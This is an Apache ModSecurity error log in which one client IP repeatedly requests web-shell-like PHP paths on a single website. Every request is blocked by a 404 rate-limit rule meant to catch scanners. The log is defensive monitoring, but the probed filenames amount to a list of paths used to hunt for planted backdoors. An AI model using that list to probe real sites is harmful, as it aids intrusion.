[Sun Apr 19 02:46:26.547015 2026] [:error] [pid 41277:tid 41296] [client 20.91.197.181:52632] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "aePRgkH3ayszMLZYflsHHwAAAZE"]
[Sun Apr 19 02:46:27.091588 2026] [:error] [pid 60910:tid 60936] [client 20.91.197.181:55212] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "aePRg3FWunkyacYqsD1N_wAAAVg"]
[Sun Apr 19 02:46:28.476545 2026] [:error] [pid 60910:tid 60927] [client 20.91.197.181:52619] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3akp.php"] [unique_id "aePRhHFWunkyacYqsD1OAQAAAU8"]
[Sun Apr 19 02:46:29.104874 2026] [:error] [pid 60910:tid 60935] [client 20.91.197.181:52666] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3akp.php"] [unique_id "aePRhXFWunkyacYqsD1OAwAAAVc"]
[Sun Apr 19 02:46:29.683051 2026] [:error] [pid 32167:tid 32230] [client 20.91.197.181:50889] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3akp.php"] [unique_id "aePRhUyD4Jm27Mb3NJiYlQAAAIU"]
[Sun Apr 19 02:46:30.226906 2026] [:error] [pid 60910:tid 60925] [client 20.91.197.181:47389] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3akp.php"] [unique_id "aePRhnFWunkyacYqsD1OBgAAAU0"]
[Sun Apr 19 02:46:30.890953 2026] [:error] [pid 41277:tid 41300] [client 20.91.197.181:55198] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "aePRhkH3ayszMLZYflsHJAAAAZU"]
[Sun Apr 19 02:46:31.439428 2026] [:error] [pid 32167:tid 32247] [client 20.91.197.181:51788] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "aePRh0yD4Jm27Mb3NJiYmgAAAJY"]
[Sun Apr 19 02:46:31.995040 2026] [:error] [pid 32167:tid 32240] [client 20.91.197.181:52546] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "aePRh0yD4Jm27Mb3NJiYngAAAI8"]
[Sun Apr 19 02:46:32.593969 2026] [:error] [pid 32167:tid 32242] [client 20.91.197.181:50901] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sde.php"] [unique_id "aePRiEyD4Jm27Mb3NJiYnwAAAJE"]
[Sun Apr 19 02:46:33.143262 2026] [:error] [pid 60910:tid 60924] [client 20.91.197.181:49847] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "aePRiXFWunkyacYqsD1OCAAAAUw"]
[Sun Apr 19 02:46:33.719519 2026] [:error] [pid 32167:tid 32229] [client 20.91.197.181:52046] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "aePRiUyD4Jm27Mb3NJiYowAAAIQ"]
[Sun Apr 19 02:46:34.270737 2026] [:error] [pid 60910:tid 60936] [client 20.91.197.181:49991] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "aePRinFWunkyacYqsD1ODgAAAVg"]
[Sun Apr 19 02:46:34.857871 2026] [:error] [pid 41277:tid 41284] [client 20.91.197.181:52616] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "aePRikH3ayszMLZYflsHKQAAAYU"]
[Sun Apr 19 02:46:35.402066 2026] [:error] [pid 41277:tid 41279] [client 20.91.197.181:52078] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aePRi0H3ayszMLZYflsHKgAAAYA"]
[Sun Apr 19 02:46:36.041251 2026] [:error] [pid 41277:tid 41302] [client 20.91.197.181:55521] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aePRjEH3ayszMLZYflsHKwAAAZc"]
[Sun Apr 19 02:46:36.724468 2026] [:error] [pid 32166:tid 32220] [client 20.91.197.181:55197] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aePRjJCHNkWwdiZnafLX_wAAAFY"]
[Sun Apr 19 02:46:37.301499 2026] [:error] [pid 32166:tid 32201] [client 20.91.197.181:52643] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fone1.php"] [unique_id "aePRjZCHNkWwdiZnafLYAAAAAEM"]
[Sun Apr 19 02:46:37.873910 2026] [:error] [pid 41277:tid 41300] [client 20.91.197.181:50001] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-220.php"] [unique_id "aePRjUH3ayszMLZYflsHLwAAAZU"]
[Sun Apr 19 02:46:38.474691 2026] [:error] [pid 60910:tid 60916] [client 20.91.197.181:52037] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-220.php"] [unique_id "aePRjnFWunkyacYqsD1OGQAAAUQ"]
[Sun Apr 19 02:46:39.023946 2026] [:error] [pid 41277:tid 41299] [client 20.91.197.181:50013] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-220.php"] [unique_id "aePRj0H3ayszMLZYflsHMAAAAZQ"]
[Sun Apr 19 02:46:39.615054 2026] [:error] [pid 60910:tid 60915] [client 20.91.197.181:47408] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-220.php"] [unique_id "aePRj3FWunkyacYqsD1OHgAAAUM"]
[Sun Apr 19 02:46:40.215178 2026] [:error] [pid 60910:tid 60920] [client 20.91.197.181:55173] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aePRkHFWunkyacYqsD1OIwAAAUg"]
[Sun Apr 19 02:46:40.795682 2026] [:error] [pid 32167:tid 32238] [client 20.91.197.181:47391] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aePRkEyD4Jm27Mb3NJiYqgAAAI0"]
[Sun Apr 19 02:46:41.371923 2026] [:error] [pid 32167:tid 32231] [client 20.91.197.181:52552] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aePRkUyD4Jm27Mb3NJiYrQAAAIY"]
[Sun Apr 19 02:46:41.928149 2026] [:error] [pid 32165:tid 32169] [client 20.91.197.181:55230] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aePRkae2vKwEk_N0BrYAcQAAAAA"]
[Sun Apr 19 02:46:42.520313 2026] [:error] [pid 32166:tid 32213] [client 20.91.197.181:52656] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uazsl.php"] [unique_id "aePRkpCHNkWwdiZnafLYBQAAAE8"]
[Sun Apr 19 02:46:43.090936 2026] [:error] [pid 33517:tid 33540] [client 20.91.197.181:47360] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uazsl.php"] [unique_id "aePRk34Zz-rubR1wiZ-8UgAAANU"]
[Sun Apr 19 02:46:43.684447 2026] [:error] [pid 32165:tid 32181] [client 20.91.197.181:50020] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uazsl.php"] [unique_id "aePRk6e2vKwEk_N0BrYAcwAAAAw"]
[Sun Apr 19 02:46:44.277400 2026] [:error] [pid 41277:tid 41285] [client 20.91.197.181:55196] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uazsl.php"] [unique_id "aePRlEH3ayszMLZYflsHNAAAAYY"]
[Sun Apr 19 02:46:44.829540 2026] [:error] [pid 33517:tid 33543] [client 20.91.197.181:52669] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aePRlH4Zz-rubR1wiZ-8UwAAANg"]
[Sun Apr 19 02:46:45.364662 2026] [:error] [pid 32165:tid 32184] [client 20.91.197.181:52629] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aePRlae2vKwEk_N0BrYAdQAAAA8"]
[Sun Apr 19 02:46:46.015736 2026] [:error] [pid 32167:tid 32230] [client 20.91.197.181:55497] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aePRlkyD4Jm27Mb3NJiYugAAAIU"]
[Sun Apr 19 02:46:46.551675 2026] [:error] [pid 32166:tid 32211] [client 20.91.197.181:55532] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aePRlpCHNkWwdiZnafLYDQAAAE0"]
[Sun Apr 19 02:46:47.134280 2026] [:error] [pid 32166:tid 32215] [client 20.91.197.181:52621] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-denmono.php"] [unique_id "aePRl5CHNkWwdiZnafLYDwAAAFE"]
[Sun Apr 19 02:46:47.742570 2026] [:error] [pid 32167:tid 32248] [client 20.91.197.181:52588] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-denmono.php"] [unique_id "aePRl0yD4Jm27Mb3NJiYwAAAAJc"]
[Sun Apr 19 02:46:48.321092 2026] [:error] [pid 32167:tid 32231] [client 20.91.197.181:52038] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-denmono.php"] [unique_id "aePRmEyD4Jm27Mb3NJiYwgAAAIY"]
[Sun Apr 19 02:46:49.236525 2026] [:error] [pid 60910:tid 60917] [client 20.91.197.181:47415] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-denmono.php"] [unique_id "aePRmXFWunkyacYqsD1OKwAAAUU"]
[Sun Apr 19 02:46:50.059152 2026] [:error] [pid 32167:tid 32247] [client 20.91.197.181:47378] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aePRmkyD4Jm27Mb3NJiYxAAAAJY"]
[Sun Apr 19 02:46:50.679974 2026] [:error] [pid 32167:tid 32242] [client 20.91.197.181:52070] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aePRmkyD4Jm27Mb3NJiYxwAAAJE"]
[Sun Apr 19 02:46:51.265750 2026] [:error] [pid 33517:tid 33523] [client 20.91.197.181:55504] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aePRm34Zz-rubR1wiZ-8VgAAAMQ"]
[Sun Apr 19 02:46:51.858823 2026] [:error] [pid 32167:tid 32234] [client 20.91.197.181:50005] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aePRm0yD4Jm27Mb3NJiYzAAAAIk"]
[Sun Apr 19 02:46:52.514603 2026] [:error] [pid 32252:tid 32264] [client 20.91.197.181:50039] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bypltspd.php"] [unique_id "aePRnOXl4Yc-Lt5fJ9itdgAAAQo"]
[Sun Apr 19 02:46:53.171901 2026] [:error] [pid 41277:tid 41299] [client 20.91.197.181:50008] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bypltspd.php"] [unique_id "aePRnUH3ayszMLZYflsHOgAAAZQ"]
[Sun Apr 19 02:46:53.799112 2026] [:error] [pid 41277:tid 41292] [client 20.91.197.181:52574] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bypltspd.php"] [unique_id "aePRnUH3ayszMLZYflsHPQAAAY0"]
[Sun Apr 19 02:47:01.420486 2026] [:error] [pid 32167:tid 32242] [client 20.91.197.181:50038] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aePRpUyD4Jm27Mb3NJiZBAAAAJE"]
[Sun Apr 19 02:47:02.000726 2026] [:error] [pid 60910:tid 60916] [client 20.91.197.181:49997] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aePRpXFWunkyacYqsD1OPwAAAUQ"]
[Sun Apr 19 02:47:02.726283 2026] [:error] [pid 41277:tid 41279] [client 20.91.197.181:50011] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aePRpkH3ayszMLZYflsHTAAAAYA"]
[Sun Apr 19 02:47:03.343321 2026] [:error] [pid 41277:tid 41297] [client 20.91.197.181:55529] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aePRp0H3ayszMLZYflsHUAAAAZI"]
[Sun Apr 19 02:47:04.025726 2026] [:error] [pid 32165:tid 32190] [client 20.91.197.181:49995] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casp1.php"] [unique_id "aePRqKe2vKwEk_N0BrYAdgAAABU"]
[Sun Apr 19 02:47:04.631218 2026] [:error] [pid 32252:tid 32255] [client 20.91.197.181:47363] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casp1.php"] [unique_id "aePRqOXl4Yc-Lt5fJ9itfgAAAQE"]
[Sun Apr 19 02:47:05.207441 2026] [:error] [pid 32165:tid 32170] [client 20.91.197.181:50923] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casp1.php"] [unique_id "aePRqae2vKwEk_N0BrYAeAAAAAE"]
[Sun Apr 19 02:47:06.078863 2026] [:error] [pid 32252:tid 32258] [client 20.91.197.181:52552] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casp1.php"] [unique_id "aePRquXl4Yc-Lt5fJ9ithQAAAQQ"]
[Sun Apr 19 02:47:06.693379 2026] [:error] [pid 32165:tid 32191] [client 20.91.197.181:52081] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aePRqqe2vKwEk_N0BrYAeQAAABY"]
[Sun Apr 19 02:47:07.282669 2026] [:error] [pid 32165:tid 32178] [client 20.91.197.181:47393] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aePRq6e2vKwEk_N0BrYAfAAAAAk"]
